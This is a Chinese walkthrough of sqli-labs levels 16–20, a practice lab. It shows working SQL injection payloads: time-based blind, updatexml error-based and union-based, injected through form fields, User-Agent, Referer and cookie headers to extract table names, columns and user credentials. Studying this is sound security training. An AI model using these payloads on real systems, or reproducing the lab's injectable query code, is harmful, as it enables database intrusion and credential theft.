sqli-labs 16-20
less 16:
和less 15基本一致，只是对参数进行了 ") 的包裹，注意闭合语句使用延时注入即可。
下面给一个payload示例：
uname=admin")and if((left(database(),1)>'a'),1,sleep(3))#&passwd=11&submit=Submit
这里猜解成功就会显示登录成功，失败了会页面会延时3s跳转出失败的提示信息。
less 17：
可以看到这是一个修改密码的界面：
输入：
username：admin
new password：11‘
出现错误，通过源码也可以知道是password被 " 包裹在password处闭合 " 即可
其他步骤与上面几关差不多了，利用延时注入即可。（本关也可以使用报错注入下面延时报错注入）
报错注入：
less 18：
源码中在check_input()函数对username和password进行了各种转义，所以我们寻找新的注入点。
发现：
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
源码中操作了将useragent和ip插入到数据库中，所以注入点应该是在这里，因为修改ip不方便，所以我们修改useragent。
1.用burp suite或live https headers(火狐插件)抓包并修改useragent，下面用burp suite演示
抓到包后发送到repeater
在headers部分修改useragent来构造payload
这里用到报错注入：
首先concat()函数，连接多个字符串
updateXML(XML_document,XPath_string,new_value)
第一个参数：XML_document是string格式
第二个参数：XPath_string（XPath格式的字符串）
第三个参数：new_value，string格式，替换查找到的符合条件的数据。
函数功能演示：
select updatexml(1,concat(0x7e,(select username from 'users' limit 0,1),0x7e),1);
这里concat会把select查到的username列的第一个字段也就是Dumb和~（0x7e）连接起来，也就是
~Dumb~ 而这显然不符合XPath_string格式，这时会产生报错，报错时会把concat的内容回显出来。
也就是利用concat执行我们构造的payload，再利用updatexml的报错机制将payload获取到的内容
（执行结果）返回。
关于上面（包括下面也会）用到0x7e，而且只用这个，网上解释为不加的话返回内容很可能被吃掉部分，
据说是updatexml的特性。
构造payload示例:
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=security.users limit 0,3),0x7e),1) or '1'='1
或 ' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=security.users limit 0,3),0x7e),1) ,'','')#
主要是第二个payload可能难以理解，我给大家稍解释一下。
源码：$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
在后台执行的是“”中的insert into语句，我们的注入点选择的是uagent，那这里不仅要闭合头部，还要注意后面的 ip和uname 缺一不可，所以用#注释的时候要先用 ' 闭合 id 和 uname 以及 ）之后再用#
演示得到数据库
得到表名：
' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) or '1'='1
用limit参数控制想要获取第几个表名。
剩下步骤基本与less 1 一致，在uagent部分构造payload即可。
less 19
username：admin
password：admin
登录成功后看到：与18关类似，只不过这里注入要通过Referer，而不是uagent
依旧是抓包、改包、构造payload：
改头部的Referer部分为：' or updatexml(1,concat(0x7e,database(),0x7e),1) or '1'='1
上面的payload也可以换成下面这句，通过源码发现insert相较于less 18 少了一个参数：
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
那么可这么构造：
' or updatexml(1,concat(0x7e,database(),0x7e),1),'')#
接下来与less 18基本一致 不再赘述。
less 20：
username：admin
password：admin
登录之后可以看到如下界面：
首先关于源代码cookie设置了几个判断语句：
1.判断cookie中的uname是否被设置，若没有，返回的是登录前要求输入username和password的界面，只有登录成功才会发放cookie。
2.如果uname非空，判断用户是否选择删除cookie，若没有删除，则用uname作为参数查询数据库返回信息（所以这里cookie是注入点）
ps:如果抓到的包cookie里面不像下图那样有uname=*****的内容的话需要重新抓，否则进不去登录成功的页面
3.如过点击了delete cookie 则cookie的有效时间变为负值
这里cue几个点：
1.需要抓正确的用户名和密码的包才能得到有效cookie
2.构造payload时，语句应为 cookie: uname=' ************ ，没有uname=的话返回的是登录前的界面。
ok 下面还是利用burp suite工具，更改cookie的值构造payload即可。
比如这里 cookie: uname=' union select 1,2,3# 判断显示位，只有2，3回显
剩下的基本和less 1一致，爆库，爆表，爆列，获取信息。
爆表：
cookie:uname='union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
爆列：
cookie:uname='union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' #
获取信息：
cookie:unmae='union select 1,2,group_concat(concat_ws('-',username,password)) from 'users'#
